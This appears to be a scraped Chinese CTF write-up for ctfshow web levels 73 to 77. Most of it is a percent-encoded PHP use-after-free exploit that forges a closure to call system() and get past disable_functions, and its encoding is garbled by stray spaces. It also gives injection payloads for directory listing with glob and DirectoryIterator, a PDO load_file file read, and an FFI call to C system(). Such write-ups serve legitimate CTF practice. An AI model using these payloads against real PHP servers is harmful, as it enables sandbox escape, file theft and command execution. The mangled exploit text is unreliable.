%28 %24 %66 %5 f%65 %6 e%74 %72 %79 %20 %21 %3 d%20 %30 %29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %72 %65 %74 %75 %72 %6 e%20 %66 %61 %6 c%73 %65 %3 b%0 d%0 a%20 %20 %20 %20 %7 d%0 d%0 a%0 d%0 a%20 %20 %20 %20 %66 %75 %6 e%63 %74 %69 %6 f%6 e%20 %74 %72 %69 %67 %67 %65 %72 %5 f%75 %61 %66 %28 %24 %61 %72 %67 %29 %20 %7 b%0 d%0 a%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %24 %61 %72 %67 %20 %3 d%20 %73 %74 %72 %5 f%73 %68 %75 %66 %66 %6 c%65 %28 %27 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %27 %29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %24 %76 %75 %6 c%6 e%20 %3 d%20 %6 e%65 %77 %20 %56 %75 %6 c%6 e%28 %29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %24 %76 %75 %6 c%6 e%2 d%3 e%61 %20 %3 d%20 %24 %61 %72 %67 %3 b%0 d%0 a%20 %20 %20 %20 %7 d%0 d%0 a%0 d%0 a%20 %20 %20 %20 %69 %66 %28 %73 %74 %72 %69 %73 %74 %72 %28 %50 %48 %50 %5 f%4 f%53 %2 c%20 %27 %57 %49 %4 e%27 %29 %29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %64 %69 %65 %28 %27 %54 %68 %69 %73 %20 %50 %6 f%43 %20 %69 %73 %20 %66 %6 f%72 %20 %2 a%6 e%69 %78 %20 %73 %79 %73 %74 %65 %6 d%73 %20 %6 f%6 e%6 c%79 %2 e%27 %29 %3 b%0 d%0 a%20 %20 %20 %20 %7 d%0 d%0 a%0 d%0 a%20 %20 %20 %20 %24 %6 e%5 f%61 %6 c%6 c%6 f%63 %20 %3 d%20 %31 %30 %3 b%20 %0 d%0 a%20 %20 %20 %20 %24 %63 %6 f%6 e%74 %69 %67 %75 %6 f%75 %73 %20 %3 d%20 %5 b%5 d%3 b%0 d%0 a%20 %20 %20 %20 %66 %6 f%72 %28 %24 %69 %20 %3 d%20 %30 %3 b%20 %24 %69 %20 %3 c%20 %24 %6 e%5 f%61 %6 c%6 c%6 f%63 %3 b%20 %24 %69 %2 b%2 b%29 %0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %24 %63 %6 f%6 e%74 %69 %67 %75 %6 f%75 %73 %5 b%5 d%20 %3 d%20 %73 %74 %72 %5 f%73 %68 %75 %66 %66 %6 c%65 %28 %27 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %41 %27 %29 %3 b%0 d%0 a%0 d%0 a%20 %20 %20 %20 %74 %72 %69 %67 %67 %65 %72 %5 f%75 %61 %66 %28 %27 %78 %27 %29 %3 b%0 d%0 a%20 %20 %20 %20 %24 %61 %62 %63 %20 %3 d%20 %24 %62 %61 %63 %6 b%74 %72 %61 %63 %65 %5 b%31 %5 d%5 b%27 %61 %72 %67 %73 %27 %5 d%5 b%30 %5 d%3 b%0 d%0 a%0 d%0 a%20 %20 %20 %20 %24 %68 %65 %6 c%70 %65 %72 %20 %3 d%20 %6 e%65 %77 %20 %48 %65 %6 c%70 %65 %72 %3 b%0 d%0 a%20 %20 %20 %20 %24 %68 %65 %6 c%70 %65 %72 %2 d%3 e%62 %20 %3 d%20 %66 %75 %6 e%63 %74 %69 %6 f%6 e%20 %28 %24 %78 %29 %20 %7 b%20 %7 d%3 b%0 d%0 a%0 d%0 a%20 %20 %20 %20 %69 %66 %28 %73 %74 %72 %6 c%65 %6 e%28 %24 %61 %62 %63 %29 %20 %3 d%3 d%20 %37 %39 %20 %7 c%7 c%20 %73 %74 %72 %6 c%65 %6 e%28 %24 %61 %62 %63 %29 %20 %3 d%3 d%20 %30 %29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %64 %69 %65 %28 %22 %55 %41 %46 %20 %66 %61 %69 %6 c%65 %64 %22 %29 %3 b%0 d%0 a%20 %20 %20 %20 %7 d%0 d%0 a%0 d%0 a%20 %20 %20 %20 %24 %63 %6 c%6 f%73 %75 %72 %65 %5 f%68 %61 %6 e%64 %6 c%65 %72 %73 %20 %3 d%20 %73 %74 %72 %32 %70 %74 %72 %28 %24 %61 %62 %63 %2 c%20 %30 %29 %3 b%0 d%0 a%20 %20 %20 %20 %24 %70 %68 %70 %5 f%68 %65 %61 %70 %20 %3 d%20 %73 %74 %72 %32 %70 %74 %72 %28 %24 %61 %62 %63 %2 c%20 %30 %78 %35 %38 %29 %3 b%0 d%0 a%20 %20 %20 %20 %24 %61 %62 %63 %5 f%61 %64 %64 %72 %20 %3 d%20 %24 %70 %68 %70 %5 f%68 %65 %61 %70 %20 %2 d%20 %30 %78 %63 %38 %3 b%0 d%0 a%0 d%0 a%20 %20 %20 %20 %77 %72 %69 %74 %65 %28 %24 %61 %62 %63 %2 c%20 %30 %78 %36 %30 %2 c%20 %32 %29 %3 b%0 d%0 a%20 %20 %20 %20 %77 %72 %69 %74 %65 %28 %24 %61 %62 %63 %2 c%20 %30 %78 %37 %30 %2 c%20 %36 %29 %3 b%0 d%0 a%0 d%0 a%20 %20 %20 %20 %77 %72 %69 %74 %65 %28 %24 %61 %62 %63 %2 c%20 %30 %78 %31 %30 %2 c%20 %24 %61 %62 %63 %5 f%61 %64 %64 %72 %20 %2 b%20 %30 %78 %36 %30 %29 %3 b%0 d%0 a%20 %20 %20 %20 %77 %72 %69 %74 %65 %28 %24 %61 %62 %63 %2 c%20 %30 %78 %31 %38 %2 c%20 %30 %78 %61 %29 %3 b%0 d%0 a%0 d%0 a%20 %20 %20 %20 %24 %63 %6 c%6 f%73 %75 %72 %65 %5 f%6 f%62 %6 a%20 %3 d%20 %73 %74 %72 %32 %70 %74 %72 %28 %24 %61 %62 %63 %2 c%20 %30 %78 %32 %30 %29 %3 b%0 d%0 a%0 d%0 a%20 %20 %20 %20 %24 %62 %69 %6 e%61 %72 %79 %5 f%6 c%65 %61 %6 b%20 %3 d%20 %6 c%65 %61 %6 b%28 %24 %63 %6 c%6 f%73 %75 %72 %65 %5 f%68 %61 %6 e%64 %6 c%65 %72 %73 %2 c%20 %38 %29 %3 b%0 d%0 a%20 %20 %20 %20 %69 %66 %28 %21 %28 %24 %62 %61 %73 %65 %20 %3 d%20 %67 %65 %74 %5 f%62 %69 %6 e%61 %72 %79 %5 f%62 %61 %73 %65 %28 %24 %62 %69 %6 e%61 %72 %79 %5 f%6 c%65 %61 %6 b%29 %29 %29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %64 %69 %65 %28 %22 %43 %6 f%75 %6 c%64 %6 e%27 %74 %20 %64 %65 %74 %65 %72 %6 d%69 %6 e%65 %20 %62 %69 %6 e%61 %72 %79 %20 %62 %61 %73 %65 %20 %61 %64 %64 %72 %65 %73 %73 %22 %29 %3 b%0 d%0 a%20 %20 %20 %20 %7 d%0 d%0 a%0 d%0 a%20 %20 %20 %20 %69 %66 %28 %21 %28 %24 %65 %6 c%66 %20 %3 d%20 %70 %61 %72 %73 %65 %5 f%65 %6 c%66 %28 %24 %62 %61 %73 %65 %29 %29 %29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %64 %69 %65 %28 %22 %43 %6 f%75 %6 c%64 %6 e%27 %74 %20 %70 %61 %72 %73 %65 %20 %45 %4 c%46 %20 %68 %65 %61 %64 %65 %72 %22 %29 %3 b%0 d%0 a%20 %20 %20 %20 %7 d%0 d%0 a%0 d%0 a%20 %20 %20 %20 %69 %66 %28 %21 %28 %24 %62 %61 %73 %69 %63 %5 f%66 %75 %6 e%63 %73 %20 %3 d%20 %67 %65 %74 %5 f%62 %61 %73 %69 %63 %5 f%66 %75 %6 e%63 %73 %28 %24 %62 %61 %73 %65 %2 c%20 %24 %65 %6 c%66 %29 %29 %29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %64 %69 %65 %28 %22 %43 %6 f%75 %6 c%64 %6 e%27 %74 %20 %67 %65 %74 %20 %62 %61 %73 %69 %63 %5 f%66 %75 %6 e%63 %74 %69 %6 f%6 e%73 %20 %61 %64 %64 %72 %65 %73 %73 %22 %29 %3 b%0 d%0 a%20 %20 %20 %20 %7 d%0 d%0 a%0 d%0 a%20 %20 %20 %20 %69 %66 %28 %21 %28 %24 %7 a%69 %66 %5 f%73 %79 %73 %74 %65 %6 d%20 %3 d%20 %67 %65 %74 %5 f%73 %79 %73 %74 %65 %6 d%28 %24 %62 %61 %73 %69 %63 %5 f%66 %75 %6 e%63 %73 %29 %29 %29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %64 %69 %65 %28 %22 %43 %6 f%75 %6 c%64 %6 e%27 %74 %20 %67 %65 %74 %20 %7 a%69 %66 %5 f%73 %79 %73 %74 %65 %6 d%20 %61 %64 %64 %72 %65 %73 %73 %22 %29 %3 b%0 d%0 a%20 %20 %20 %20 %7 d%0 d%0 a%0 d%0 a%0 d%0 a%20 %20 %20 %20 %24 %66 %61 %6 b%65 %5 f%6 f%62 %6 a%5 f%6 f%66 %66 %73 %65 %74 %20 %3 d%20 %30 %78 %64 %30 %3 b%0 d%0 a%20 %20 %20 %20 %66 %6 f%72 %28 %24 %69 %20 %3 d%20 %30 %3 b%20 %24 %69 %20 %3 c%20 %30 %78 %31 %31 %30 %3 b%20 %24 %69 %20 %2 b%3 d%20 %38 %29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %77 %72 %69 %74 %65 %28 %24 %61 %62 %63 %2 c%20 %24 %66 %61 %6 b%65 %5 f%6 f%62 %6 a%5 f%6 f%66 %66 %73 %65 %74 %20 %2 b%20 %24 %69 %2 c%20 %6 c%65 %61 %6 b%28 %24 %63 %6 c%6 f%73 %75 %72 %65 %5 f%6 f%62 %6 a%2 c%20 %24 %69 %29 %29 %3 b%0 d%0 a%20 %20 %20 %20 %7 d%0 d%0 a%0 d%0 a%20 %20 %20 %20 %77 %72 %69 %74 %65 %28 %24 %61 %62 %63 %2 c%20 %30 %78 %32 %30 %2 c%20 %24 %61 %62 %63 %5 f%61 %64 %64 %72 %20 %2 b%20 %24 %66 %61 %6 b%65 %5 f%6 f%62 %6 a%5 f%6 f%66 %66 %73 %65 %74 %29 %3 b%0 d%0 a%20 %20 %20 %20 %77 %72 %69 %74 %65 %28 %24 %61 %62 %63 %2 c%20 %30 %78 %64 %30 %20 %2 b%20 %30 %78 %33 %38 %2 c%20 %31 %2 c%20 %34 %29 %3 b%20 %0 d%0 a%20 %20 %20 %20 %77 %72 %69 %74 %65 %28 %24 %61 %62 %63 %2 c%20 %30 %78 %64 %30 %20 %2 b%20 %30 %78 %36 %38 %2 c%20 %24 %7 a%69 %66 %5 f%73 %79 %73 %74 %65 %6 d%29 %3 b%20 %0 d%0 a%0 d%0 a%20 %20 %20 %20 %28 %24 %68 %65 %6 c%70 %65 %72 %2 d%3 e%62 %29 %28 %24 %63 %6 d%64 %29 %3 b%0 d%0 a%20 %20 %20 %20 %65 %78 %69 %74 %28 %29 %3 b%0 d%0 a%7 d%0 d%0 a%0 d%0 a%63 %74 %66 %73 %68 %6 f%77 %28 %22 %63 %61 %74 %20 %2 f%66 %6 c%61 %67 %30 %2 e%74 %78 %74 %22 %29 %3 b%6 f%62 %5 f%65 %6 e%64 %5 f%66 %6 c%75 %73 %68 %28 %29 %3 b
web73 c=var_export(scandir('/'));exit();
这次没有貌似open_basedir
c=include('/flagc.txt');exit();
web74 ban了scandir()
还得是globc=var_export(glob("/*"));exit();
c=include('/flagx.txt');exit();
web75 ban了scandir()
c=var_export(glob("/*"));exit();
回显false
1 2 3 4 5 6 7 8 c=?> <?php $a =new DirectoryIterator ("glob:///*" );foreach ($a as $f ) {echo ($f ->__toString ().' ' ); } exit (0 );?>
s设置了include_path
无法包含根目录文件 用前面的uaf脚本 ban了strlen()
官方解是用PDO
读数据库 官方解直接给了一个读ctftraining
的flag 实际上需要先找到这个数据库名 先连接默认数据库information_schema
1 2 3 4 5 6 7 8 9 10 11 12 13 c=try { $dsn = "mysql:host=localhost;dbname=information_schema" ; $db = new PDO ($dsn , 'root' , 'root' ); $rs = $db ->query ("select group_concat(SCHEMA_NAME) from SCHEMATA" ); foreach ($rs as $row ){ echo ($row [0 ])."|" ; }$db = null ; } catch (PDOException $e ) { echo $e ->getMessage (); exit (0 ); }exit (0 );
然后连接ctftraining
通过load_file
来读取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 c=try { $dbh = new PDO ('mysql:host=localhost;dbname=ctftraining' , 'root' , 'root' ); foreach ($dbh ->query ('select load_file("/flag36.txt")' ) as $row ) { echo ($row [0 ]) . "|" ; } $dbh = null ; } catch (PDOException $e ) { echo $e ->getMessage (); exit (0 ); }exit (0 );
web76 flag36d.txt
同上
web77 提示php 7.4 php 7.4 引入了 FFI扩展 FFI::cdef() 创建一个新的 FFI 对象
1 2 3 4 c=?> <?php $ffi = FFI::cdef ("int system(const char *command);" ); $ffi ->system ("/readflag > ./b.txt" );?>
通过FFI 引入c语言的system 突破disable——function的限制